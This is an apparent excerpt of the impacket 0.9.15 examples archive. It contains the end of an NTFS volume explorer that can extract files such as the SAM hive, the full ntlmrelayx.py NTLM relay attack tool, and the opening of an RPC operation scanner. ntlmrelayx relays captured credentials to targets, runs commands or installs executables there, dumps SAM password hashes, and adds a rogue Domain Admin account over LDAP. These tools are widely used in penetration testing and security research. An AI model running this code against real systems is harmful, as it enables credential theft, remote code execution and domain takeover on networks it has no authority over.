import cmd
import ntpath
# If you wanna have readline like functionality in Windows, install pyreadline
try:
import pyreadline as readline
except ImportError:
import readline
from datetime import datetime
from impacket.examples import logger
from impacket import version
from impacket.structure import Structure
import string
def pretty_print(x):
if x in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ':
return x
else:
return '.'
def hexdump(data):
x=str(data)
strLen = len(x)
i = 0
while i < strLen:
print "%04x " % i,
for j in range(16):
if i+j < strLen:
print "%02X" % ord(x[i+j]),
else:
print " ",
if j%16 == 7:
print "",
print " ",
print ''.join(pretty_print(x) for x in x[i:i+16] )
i += 16
# Reserved/fixed MFTs
FIXED_MFTS = 16
# Attribute types
UNUSED = 0
STANDARD_INFORMATION = 0x10
ATTRIBUTE_LIST = 0x20
FILE_NAME = 0x30
OBJECT_ID = 0x40
SECURITY_DESCRIPTOR = 0x50
VOLUME_NAME = 0x60
VOLUME_INFORMATION = 0x70
DATA = 0x80
INDEX_ROOT = 0x90
INDEX_ALLOCATION = 0xa0
BITMAP = 0xb0
REPARSE_POINT = 0xc0
EA_INFORMATION = 0xd0
EA = 0xe0
PROPERTY_SET = 0xf0
LOGGED_UTILITY_STREAM = 0x100
FIRST_USER_DEFINED_ATTRIBUTE = 0x1000
END = 0xffffffff
# Attribute flags
ATTR_IS_COMPRESSED = 0x0001
ATTR_COMPRESSION_MASK = 0x00ff
ATTR_IS_ENCRYPTED = 0x4000
ATTR_IS_SPARSE = 0x8000
# FileName type flags
FILE_NAME_POSIX = 0x00
FILE_NAME_WIN32 = 0x01
FILE_NAME_DOS = 0x02
FILE_NAME_WIN32_AND_DOS = 0x03
# MFT Record flags
MFT_RECORD_IN_USE = 0x0001
MFT_RECORD_IS_DIRECTORY = 0x0002
MFT_RECORD_IS_4 = 0x0004
MFT_RECORD_IS_VIEW_INDEX = 0x0008
MFT_REC_SPACE_FILLER = 0xfffff
# File Attribute Flags
FILE_ATTR_READONLY = 0x0001
FILE_ATTR_HIDDEN = 0x0002
FILE_ATTR_SYSTEM = 0x0004
FILE_ATTR_DIRECTORY = 0x0010
FILE_ATTR_ARCHIVE = 0x0020
FILE_ATTR_DEVICE = 0x0040
FILE_ATTR_NORMAL = 0x0080
FILE_ATTR_TEMPORARY = 0x0100
FILE_ATTR_SPARSE_FILE = 0x0200
FILE_ATTR_REPARSE_POINT = 0x0400
FILE_ATTR_COMPRESSED = 0x0800
FILE_ATTR_OFFLINE = 0x1000
FILE_ATTR_NOT_CONTENT_INDEXED = 0x2000
FILE_ATTR_ENCRYPTED = 0x4000
FILE_ATTR_VALID_FLAGS = 0x7fb7
FILE_ATTR_VALID_SET_FLAGS = 0x31a7
FILE_ATTR_I30_INDEX_PRESENT = 0x10000000
FILE_ATTR_VIEW_INDEX_PRESENT = 0x20000000
# NTFS System files
FILE_MFT = 0
FILE_MFTMirr = 1
FILE_LogFile = 2
FILE_Volume = 3
FILE_AttrDef = 4
FILE_Root = 5
FILE_Bitmap = 6
FILE_Boot = 7
FILE_BadClus = 8
FILE_Secure = 9
FILE_UpCase = 10
FILE_Extend = 11
# Index Header Flags
SMALL_INDEX = 0
LARGE_INDEX = 1
LEAF_NODE = 0
INDEX_NODE = 1
NODE_MASK = 0
# Index Entry Flags
INDEX_ENTRY_NODE = 1
INDEX_ENTRY_END = 2
INDEX_ENTRY_SPACE_FILLER = 0xffff
class NTFS_BPB(Structure):
structure = (
('BytesPerSector',' 0 and self.AttributeHeader['Type'] != END:
self.AttributeName = data[self.AttributeHeader['NameOffset']:][:self.AttributeHeader['NameLength']*2].decode('utf-16le')
def getFlags(self):
return self.AttributeHeader['Flags']
def getName(self):
return self.AttributeName
def isNonResident(self):
return self.AttributeHeader['NonResident']
def dump(self):
return self.AttributeHeader.dump()
def getTotalSize(self):
return self.AttributeHeader['Length']
def getType(self):
return self.AttributeHeader['Type']
class AttributeResident(Attribute):
def __init__(self, iNode, data):
logging.debug("Inside AttributeResident: iNode: %s" % iNode.INodeNumber)
Attribute.__init__(self,iNode,data)
self.ResidentHeader = NTFS_ATTRIBUTE_RECORD_RESIDENT(data[len(self.AttributeHeader):])
self.AttrValue = data[self.ResidentHeader['ValueOffset']:][:self.ResidentHeader['ValueLen']]
def dump(self):
return self.ResidentHeader.dump()
def getFlags(self):
return self.ResidentHeader['Flags']
def getValue(self):
return self.AttrValue
def read(self,offset,length):
logging.debug("Inside Read: offset: %d, length: %d" %(offset,length))
return self.AttrValue[offset:][:length]
def getDataSize(self):
return len(self.AttrValue)
class AttributeNonResident(Attribute):
def __init__(self, iNode, data):
logging.debug("Inside AttributeNonResident: iNode: %s" % iNode.INodeNumber)
Attribute.__init__(self,iNode,data)
self.NonResidentHeader = NTFS_ATTRIBUTE_RECORD_NON_RESIDENT(data[len(self.AttributeHeader):])
self.AttrValue = data[self.NonResidentHeader['DataRunsOffset']:][:self.NonResidentHeader['AllocatedSize']]
self.DataRuns = []
self.ClusterSize = 0
self.parseDataRuns()
def dump(self):
return self.NonResidentHeader.dump()
def getDataSize(self):
return self.NonResidentHeader['InitializedSize']
def getValue(self):
return None
def parseDataRuns(self):
value = self.AttrValue
if value is not None:
VCN = 0
LCN = 0
LCNOffset = 0
while value[0] != '\x00':
LCN += LCNOffset
dr = NTFS_DATA_RUN()
size = struct.unpack('B',(value[0]))[0]
value = value[1:]
lengthBytes = size & 0x0F
offsetBytes = size >> 4
length = value[:lengthBytes]
length = struct.unpack('= dr['StartVCN']) and (vcn <= dr['LastVCN']):
vcnsToRead = dr['LastVCN'] - vcn + 1
# Are we requesting to read more data outside this DataRun?
if numOfClusters > vcnsToRead:
# Yes
clustersToRead = vcnsToRead
else:
clustersToRead = numOfClusters
tmpBuf = self.readClusters(clustersToRead,dr['LCN']+(vcn-dr['StartVCN']))
if tmpBuf is not None:
buf += tmpBuf
clustersLeft -= clustersToRead
vcn += clustersToRead
else:
break
if clustersLeft == 0:
break
return buf
def read(self,offset,length):
logging.debug("Inside Read: offset: %d, length: %d" %(offset,length))
buf = ''
curLength = length
self.ClusterSize = self.NTFSVolume.BPB['BytesPerSector']*self.NTFSVolume.BPB['SectorsPerCluster']
# Given the offset, let's calculate what VCN should be the first one to read
vcnToStart = offset / self.ClusterSize
#vcnOffset = self.ClusterSize - (offset % self.ClusterSize)
# Do we have to read partial VCNs?
if offset % self.ClusterSize:
# Read the whole VCN
bufTemp = self.readVCN(vcnToStart, 1)
if bufTemp is '':
# Something went wrong
return None
buf = bufTemp[offset % self.ClusterSize:]
curLength -= len(buf)
vcnToStart += 1
# Finished?
if curLength <= 0:
return buf[:length]
# First partial cluster read.. now let's keep reading full clusters
# Data left to be read is bigger than a Cluster?
if curLength / self.ClusterSize:
# Yep.. so let's read full clusters
bufTemp = self.readVCN(vcnToStart, curLength / self.ClusterSize)
if bufTemp is '':
# Something went wrong
return None
if len(bufTemp) > curLength:
# Too much data read, taking something off
buf = buf + bufTemp[:curLength]
else:
buf = buf + bufTemp
vcnToStart += curLength / self.ClusterSize
curLength -= len(bufTemp)
# Is there anything else left to be read in the last cluster?
if curLength > 0:
bufTemp = self.readVCN(vcnToStart, 1)
buf = buf + bufTemp[:curLength]
if buf == '':
return None
else:
return buf
class AttributeStandardInfo:
def __init__(self, attribute):
logging.debug("Inside AttributeStandardInfo")
self.Attribute = attribute
self.StandardInfo = NTFS_STANDARD_INFORMATION(self.Attribute.AttrValue)
def getFileAttributes(self):
return self.StandardInfo['FileAttributes']
def getFileTime(self):
if self.StandardInfo['LastDataChangeTime'] > 0:
return datetime.fromtimestamp(getUnixTime(self.StandardInfo['LastDataChangeTime']))
else:
return 0
def dump(self):
return self.StandardInfo.dump()
class AttributeFileName:
def __init__(self, attribute):
logging.debug("Inside AttributeFileName")
self.Attribute = attribute
self.FileNameRecord = NTFS_FILE_NAME_ATTR(self.Attribute.AttrValue)
def getFileNameType(self):
return self.FileNameRecord['FileNameType']
def getFileAttributes(self):
return self.FileNameRecord['FileAttributes']
def getFileName(self):
return self.FileNameRecord['FileName'].decode('utf-16le')
def getFileSize(self):
return self.FileNameRecord['DataSize']
def getFlags(self):
return self.FileNameRecord['FileAttributes']
def dump(self):
return self.FileNameRecord.dump()
class AttributeIndexAllocation:
def __init__(self, attribute):
logging.debug("Inside AttributeIndexAllocation")
self.Attribute = attribute
def dump(self):
print self.Attribute.dump()
for i in self.Attribute.DataRuns:
print i.dump()
def read(self, offset, length):
return self.Attribute.read(offset, length)
class AttributeIndexRoot:
def __init__(self, attribute):
logging.debug("Inside AttributeIndexRoot")
self.Attribute = attribute
self.IndexRootRecord = NTFS_INDEX_ROOT(attribute.AttrValue)
self.IndexEntries = []
self.parseIndexEntries()
def parseIndexEntries(self):
data = self.Attribute.AttrValue[len(self.IndexRootRecord):]
while True:
ie = IndexEntry(data)
self.IndexEntries.append(ie)
if ie.isLastNode():
break
data = data[ie.getSize():]
def dump(self):
self.IndexRootRecord.dump()
for i in self.IndexEntries:
i.dump()
def getType(self):
return self.IndexRootRecord['Type']
class IndexEntry:
def __init__(self, entry):
self.entry = NTFS_INDEX_ENTRY(entry)
def isSubNode(self):
return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_NODE
def isLastNode(self):
return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_END
def getVCN(self):
return struct.unpack(' 0 and entry.getINodeNumber() > 16:
fn = NTFS_FILE_NAME_ATTR(entry.getKey())
if fn['FileNameType'] != FILE_NAME_DOS:
#inode = INODE(self.NTFSVolume)
#inode.FileAttributes = fn['FileAttributes']
#inode.FileSize = fn['DataSize']
#inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(fn['LastDataChangeTime']))
#inode.INodeNumber = entry.getINodeNumber()
#inode.FileName = fn['FileName'].decode('utf-16le')
#inode.displayName()
files.append(fn)
# if inode.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT and entry.getINodeNumber() > 16:
# inode2 = self.NTFSVolume.getINode(entry.getINodeNumber())
# inode2.walk()
return files
def walk(self):
logging.debug("Inside Walk... ")
files = []
if self.Attributes.has_key(INDEX_ROOT):
ir = self.Attributes[INDEX_ROOT]
if ir.getType() & FILE_NAME:
for ie in ir.IndexEntries:
if ie.isSubNode():
files += self.walkSubNodes(ie.getVCN())
return files
else:
return None
def findFirstSubNode(self, vcn, toSearch):
def getFileName(entry):
if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16:
fn = NTFS_FILE_NAME_ATTR(entry.getKey())
if fn['FileNameType'] != FILE_NAME_DOS:
return string.upper(fn['FileName'].decode('utf-16le'))
return None
entries = self.parseIndexBlocks(vcn)
for ie in entries:
name = getFileName(ie)
if name is not None:
if name == toSearch:
# Found!
return ie
if toSearch < name:
if ie.isSubNode():
res = self.findFirstSubNode(ie.getVCN(), toSearch)
if res is not None:
return res
else:
# Bye bye.. not found
return None
else:
if ie.isSubNode():
res = self.findFirstSubNode(ie.getVCN(), toSearch)
if res is not None:
return res
def findFirst(self, fileName):
# Searches for a file and returns an Index Entry. None if not found
def getFileName(entry):
if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16:
fn = NTFS_FILE_NAME_ATTR(entry.getKey())
if fn['FileNameType'] != FILE_NAME_DOS:
return string.upper(fn['FileName'].decode('utf-16le'))
return None
toSearch = unicode(string.upper(fileName))
if self.Attributes.has_key(INDEX_ROOT):
ir = self.Attributes[INDEX_ROOT]
if ir.getType() & FILE_NAME or 1==1:
for ie in ir.IndexEntries:
name = getFileName(ie)
if name is not None:
if name == toSearch:
# Found!
return ie
if toSearch < name:
if ie.isSubNode():
res = self.findFirstSubNode(ie.getVCN(), toSearch)
if res is not None:
return res
else:
# Bye bye.. not found
return None
else:
if ie.isSubNode():
res = self.findFirstSubNode(ie.getVCN(), toSearch)
if res is not None:
return res
def getStream(self, name):
return self.searchAttribute( DATA, name, findNext = False)
class NTFS:
def __init__(self, volumeName):
self.__volumeName = volumeName
self.__bootSector = None
self.__MFTStart = None
self.volumeFD = None
self.BPB = None
self.ExtendedBPB = None
self.RecordSize = None
self.IndexBlockSize = None
self.SectorSize = None
self.MFTINode = None
self.mountVolume()
def mountVolume(self):
logging.debug("Mounting volume...")
self.volumeFD = open(self.__volumeName,"rb")
self.readBootSector()
self.MFTINode = self.getINode(FILE_MFT)
# Check whether MFT is fragmented
attr = self.MFTINode.searchAttribute(DATA, None)
if attr is None:
# It's not
del self.MFTINode
self.MFTINode = None
def readBootSector(self):
logging.debug("Reading Boot Sector for %s" % self.__volumeName)
self.volumeFD.seek(0,0)
data = self.volumeFD.read(512)
while len(data) < 512:
data += self.volumeFD.read(512)
self.__bootSector = NTFS_BOOT_SECTOR(data)
self.BPB = NTFS_BPB(self.__bootSector['BPB'])
self.ExtendedBPB = NTFS_EXTENDED_BPB(self.__bootSector['ExtendedBPB'])
self.SectorSize = self.BPB['BytesPerSector']
self.__MFTStart = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['MFTClusterNumber']
if self.ExtendedBPB['ClusterPerFileRecord'] > 0:
self.RecordSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerFileRecord']
else:
self.RecordSize = 1 << (-self.ExtendedBPB['ClusterPerFileRecord'])
if self.ExtendedBPB['ClusterPerIndexBuffer'] > 0:
self.IndexBlockSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerIndexBuffer']
else:
self.IndexBlockSize = 1 << (-self.ExtendedBPB['ClusterPerIndexBuffer'])
logging.debug("MFT should start at position %d" % self.__MFTStart)
def getINode(self, iNodeNum):
logging.debug("Trying to fetch inode %d" % iNodeNum)
newINode = INODE(self)
recordLen = self.RecordSize
# Let's calculate where in disk this iNode should be
if self.MFTINode and iNodeNum > FIXED_MFTS:
# Fragmented $MFT
attr = self.MFTINode.searchAttribute(DATA,None)
record = attr.read(iNodeNum*self.RecordSize, self.RecordSize)
else:
diskPosition = self.__MFTStart + iNodeNum * self.RecordSize
self.volumeFD.seek(diskPosition,0)
record = self.volumeFD.read(recordLen)
while len(record) < recordLen:
record += self.volumeFD.read(recordLen-len(record))
mftRecord = NTFS_MFT_RECORD(record)
record = newINode.PerformFixUp(mftRecord, record, self.RecordSize/self.SectorSize)
newINode.INodeNumber = iNodeNum
newINode.AttributesRaw = record[mftRecord['AttributesOffset']-recordLen:]
newINode.parseAttributes()
return newINode
class MiniShell(cmd.Cmd):
def __init__(self, volume):
cmd.Cmd.__init__(self)
self.volumePath = volume
self.volume = NTFS(volume)
self.rootINode = self.volume.getINode(5)
self.prompt = '\\>'
self.intro = 'Type help for list of commands'
self.currentINode = self.rootINode
self.completion = []
self.pwd = '\\'
self.do_ls('',False)
self.last_output = ''
def emptyline(self):
pass
def onecmd(self,s):
retVal = False
try:
retVal = cmd.Cmd.onecmd(self,s)
except Exception, e:
logging.error(str(e))
return retVal
def do_exit(self,line):
return True
def do_shell(self, line):
output = os.popen(line).read()
print output
self.last_output = output
def do_help(self,line):
print """
cd {path} - changes the current directory to {path}
pwd - shows current remote directory
ls - lists all the files in the current directory
lcd - change local directory
get {filename} - downloads the filename from the current path
cat {filename} - prints the contents of filename
hexdump {filename} - hexdumps the contents of filename
exit - terminates the server process (and this session)
"""
def do_lcd(self,line):
if line == '':
print os.getcwd()
else:
os.chdir(line)
print os.getcwd()
def do_cd(self, line):
p = string.replace(line,'/','\\')
oldpwd = self.pwd
newPath = ntpath.normpath(ntpath.join(self.pwd,p))
if newPath == self.pwd:
# Nothing changed
return
common = ntpath.commonprefix([newPath,oldpwd])
if common == oldpwd:
res = self.findPathName(ntpath.normpath(p))
else:
res = self.findPathName(newPath)
if res is None:
logging.error("Directory not found")
self.pwd = oldpwd
return
if res.isDirectory() == 0:
logging.error("Not a directory!")
self.pwd = oldpwd
return
else:
self.currentINode = res
self.do_ls('', False)
self.pwd = ntpath.join(self.pwd,p)
self.pwd = ntpath.normpath(self.pwd)
self.prompt = self.pwd + '>'
def findPathName(self, pathName):
if pathName == '\\':
return self.rootINode
tmpINode = self.currentINode
parts = pathName.split('\\')
for part in parts:
if part == '':
tmpINode = self.rootINode
else:
res = tmpINode.findFirst(part)
if res is None:
return res
else:
tmpINode = self.volume.getINode(res.getINodeNumber())
return tmpINode
def do_pwd(self,line):
print self.pwd
def do_ls(self, line, display = True):
entries = self.currentINode.walk()
self.completion = []
for entry in entries:
inode = INODE(self.volume)
inode.FileAttributes = entry['FileAttributes']
inode.FileSize = entry['DataSize']
inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(entry['LastDataChangeTime']))
inode.FileName = entry['FileName'].decode('utf-16le')
if display is True:
inode.displayName()
self.completion.append((inode.FileName,inode.isDirectory()))
def complete_cd(self, text, line, begidx, endidx):
return self.complete_get(text, line, begidx, endidx, include = 2)
def complete_cat(self,text,line,begidx,endidx):
return self.complete_get(text, line, begidx, endidx)
def complete_hexdump(self,text,line,begidx,endidx):
return self.complete_get(text, line, begidx, endidx)
def complete_get(self, text, line, begidx, endidx, include = 1):
# include means
# 1 just files
# 2 just directories
items = []
if include == 1:
mask = 0
else:
mask = FILE_ATTR_I30_INDEX_PRESENT
for i in self.completion:
if i[1] == mask:
items.append(i[0])
if text:
return [
item for item in items
if item.upper().startswith(text.upper())
]
else:
return items
def do_hexdump(self,line):
return self.do_cat(line,command = hexdump)
def do_cat(self, line, command = sys.stdout.write):
pathName = string.replace(line,'/','\\')
pathName = ntpath.normpath(ntpath.join(self.pwd,pathName))
res = self.findPathName(pathName)
if res is None:
logging.error("Not found!")
return
if res.isDirectory() > 0:
logging.error("It's a directory!")
return
if res.isCompressed() or res.isEncrypted() or res.isSparse():
logging.error('Cannot handle compressed/encrypted/sparse files! :(')
return
stream = res.getStream(None)
chunks = 4096*10
written = 0
for i in range(stream.getDataSize()/chunks):
buf = stream.read(i*chunks, chunks)
written += len(buf)
command(buf)
if stream.getDataSize() % chunks:
buf = stream.read(written, stream.getDataSize() % chunks)
command(buf)
logging.info("%d bytes read" % stream.getDataSize())
def do_get(self, line):
pathName = string.replace(line,'/','\\')
pathName = ntpath.normpath(ntpath.join(self.pwd,pathName))
fh = open(ntpath.basename(pathName),"wb")
self.do_cat(line, command = fh.write)
fh.close()
def main():
print version.BANNER
# Init the example's logger theme
logger.init()
parser = argparse.ArgumentParser(add_help = True, description = "NTFS explorer (read-only)")
parser.add_argument('volume', action='store', help='NTFS volume to open (e.g. \\\\.\\C: or /dev/disk1s1)')
parser.add_argument('-extract', action='store', help='extracts pathname (e.g. \windows\system32\config\sam)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
shell = MiniShell(options.volume)
if options.extract is not None:
shell.onecmd("get %s"% options.extract)
else:
shell.cmdloop()
if __name__ == '__main__':
main()
sys.exit(1)
impacket-0.9.15/examples/ntlmrelayx.py 0000700 0000765 0000000 00000033575 12734531507 020056 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Generic NTLM Relay Module
#
# Authors:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# Description:
# This module performs the SMB Relay attacks originally discovered
# by cDc. It receives a list of targets and for every connection received it
# will choose the next target and try to relay the credentials. Also, if
# specified, it will first to try authenticate against the client connecting
# to us.
#
# It is implemented by invoking a SMB and HTTP Server, hooking to a few
# functions and then using the smbclient portion. It is supposed to be
# working on any LM Compatibility level. The only way to stop this attack
# is to enforce on the server SPN checks and or signing.
#
# If the target system is enforcing signing and a machine account was provided,
# the module will try to gather the SMB session key through
# NETLOGON (CVE-2015-0005)
#
# If the authentication against the targets succeed, the client authentication
# success as well and a valid connection is set against the local smbserver.
# It's up to the user to set up the local smbserver functionality. One option
# is to set up shares with whatever files you want to the victim thinks it's
# connected to a valid SMB server. All that is done through the smb.conf file or
# programmatically.
#
import argparse
import sys
import thread
import logging
import random
import string
import re
import os
from threading import Thread
from impacket import version, smb3, smb
from impacket.examples import logger
from impacket.examples import serviceinstall
from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
from impacket.smbconnection import SMBConnection
class SMBAttack(Thread):
def __init__(self, config, SMBClient, exeFile, command):
Thread.__init__(self)
self.daemon = True
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
else:
self.__SMBConnection = SMBClient
self.config = config
self.__exeFile = exeFile
self.__command = command
self.__answerTMP = ''
if exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
if self.__exeFile is not None:
result = self.installService.install()
if result is True:
logging.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from secretsdump import RemoteOperations, SAMHashes
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
# Something wen't wrong, most probably we don't have access as admin. aborting
logging.error(str(e))
return
try:
if self.__command is not None:
remoteOps._RemoteOperations__executeRemote(self.__command)
logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
logging.error(str(e))
finally:
if samHashes is not None:
samHashes.finish()
if remoteOps is not None:
remoteOps.finish()
#Define global variables to prevent dumping the domain twice
dumpeddomain = False
addedda = False
class LDAPAttack(Thread):
def __init__(self, config, LDAPClient, username):
Thread.__init__(self)
self.daemon = True
#Import it here because non-standard dependency
self.ldapdomaindump = __import__('ldapdomaindump')
self.client = LDAPClient
self.username = username
#Global config
self.config = config
def addDA(self):
global addedda
if addedda:
logging.error('DA already added. Refusing to add another')
return
#Random password
new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
#Random username
new_user = ''.join(random.choice(string.ascii_letters) for _ in range(10))
dd = self.dd
ucd = {
'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % dd.root,
'distinguishedName': 'CN=%s,CN=Users,%s' % (new_user,dd.root),
'cn': new_user,
'sn': new_user,
'givenName': new_user,
'displayName': new_user,
'name': new_user,
'userAccountControl': 512,
'accountExpires': 0,
'sAMAccountName': new_user,
'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le')
}
res = self.client.c.add('CN=%s,CN=Users,%s' % (new_user,dd.root),['top','person','organizationalPerson','user'],ucd)
if not res:
logging.error('Failed to add a new user: %s' % str(self.c.result))
else:
logging.info('Adding new user with username: %s and password: %s result: OK' % (new_user,new_password))
#TODO: Fix this with localized DA group
res = self.client.c.modify('CN=Domain Admins,CN=Users,%s' % dd.root,{'member': [(self.client.MODIFY_ADD,['CN=%s,CN=Users,%s' % (new_user,dd.root)])]})
if res:
logging.info('Adding user: %s to group Domain Admins result: OK' % new_user)
logging.info('Domain Admin privileges aquired, shutting down...')
addedda = True
thread.interrupt_main()
else:
logging.error('Failed to add user to Domain Admins group: %s' % str(self.c.result))
def run(self):
global dumpeddomain
#Set up a default config
ddc = self.ldapdomaindump.domainDumpConfig()
#Change the output directory to configured rootdir
ddc.basepath = self.config.lootdir
#Create new dumper object
self.dd = self.ldapdomaindump.domainDumper(self.client.s,self.client.c,ddc)
isda = self.dd.isDomainAdmin(self.username)
if isda:
logging.info('User is a Domain Admin!')
self.addDA()
else:
logging.info('User is not a Domain Admin')
if not dumpeddomain:
logging.info('Dumping domain info for first time')
self.dd.domainDump()
dumpeddomain = True
class HTTPAttack(Thread):
def __init__(self, config, HTTPClient, username):
Thread.__init__(self)
self.daemon = True
self.config = config
self.client = HTTPClient
self.username = username
def run(self):
#Default action: Dump requested page to file, named username-targetname.html
#You can also request any page on the server via self.client.session,
#for example with:
#result = self.client.session.get('http://secretserver/secretpage.html')
#print result.content
#Remove protocol from target name
safeTargetName = self.client.target.replace('http://','').replace('https://','')
#Replace any special chars in the target name
safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName)
#Combine username with filename
fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html'
#Write it to the file
with open(os.path.join(self.config.lootdir,fileName),'w') as of:
of.write(self.client.lastresult)
# Process command-line arguments.
if __name__ == '__main__':
RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer )
ATTACKS = { 'SMB': SMBAttack, 'LDAP': LDAPAttack, 'HTTP': HTTPAttack }
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will try to relay that connection to specified target(s) system or the original client")
parser.add_argument("-h","--help", action="help", help='show this help message and exit')
parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help='Target to relay the credentials to, can be an IP, hostname or URL like smb://server:445 If unspecified, it will relay back to the client')
parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or full URL, one per line')
parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list automatically (only valid with -tf)')
parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
parser.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on target system. If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR', help='Loot directory in which gathered loot such as SAM dumps will be stored (default: current directory).')
parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2')
parser.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when interacting with the domain to grab a session key for signing, format is domain/machine_name')
parser.add_argument('-machine-hashes', action="store", metavar = "LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH')
parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
try:
options = parser.parse_args()
except Exception, e:
logging.error(str(e))
sys.exit(1)
if options.target is not None:
logging.info("Running in relay mode to single host")
mode = 'RELAY'
targetSystem = TargetsProcessor(singletarget=options.target)
else:
if options.tf is not None:
#Targetfile specified
logging.info("Running in relay mode to hosts in targetfile")
targetSystem = TargetsProcessor(targetlistfile=options.tf)
mode = 'RELAY'
else:
logging.info("Running in reflection mode")
targetSystem = None
mode = 'REFLECTION'
if options.r is not None:
logging.info("Running HTTP server in redirect mode")
#print targetSystem.targets
if targetSystem is not None and options.w:
watchthread = TargetsFileWatcher(targetSystem)
watchthread.start()
if options.lootdir is not None:
lootdir = options.lootdir
else:
lootdir = '.'
#Temp
#mode = 'TRANSPARENT'
exeFile = options.e
Command = options.c
for server in RELAY_SERVERS:
#Set up config
c = NTLMRelayxConfig()
c.setTargets(targetSystem)
c.setExeFile(exeFile)
c.setCommand(Command)
c.setMode(mode)
c.setAttacks(ATTACKS)
c.setLootdir(lootdir)
c.setOutputFile(options.output_file)
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
if server is HTTPRelayServer and options.r is not None:
c.setMode('REDIRECT')
c.setRedirectHost(options.r)
if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None:
c.setDomainAccount( options.machine_account, options.machine_hashes, options.domain)
elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False:
logging.error("You must specify machine-account/hashes/domain all together!")
sys.exit(1)
s = server(c)
s.start()
print ""
logging.info("Servers started, waiting for connections")
while True:
try:
sys.stdin.read()
except KeyboardInterrupt:
sys.exit(1)
else:
pass
impacket-0.9.15/examples/opdump.py 0000700 0000765 0000000 00000003623 12734531507 017152 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
"""opdump - scan for operations on a given DCERPC interface
Usage: opdump.py hostname port interface version
This binds to the given hostname:port and DCERPC interface. Then, it tries to
call each of the first 256 operation numbers in turn and reports the outcome
of each call.
This will generate a burst of TCP connections to the given host:port!
Example:
$ ./opdump.py 10.0.0.30 135 99FCFEC4-5260-101B-BBCB-00AA0021347A 0.0
op 0 (0x00): rpc_x_bad_stub_data
op 1 (0x01): rpc_x_bad_stub_data
op 2 (0x02): rpc_x_bad_stub_data
op 3 (0x03): success
op 4 (0x04): rpc_x_bad_stub_data
ops 5-255: nca_s_op_rng_error
rpc_x_bad_stub_data, rpc_s_access_denied, and success generally means there's an
operation at that number.
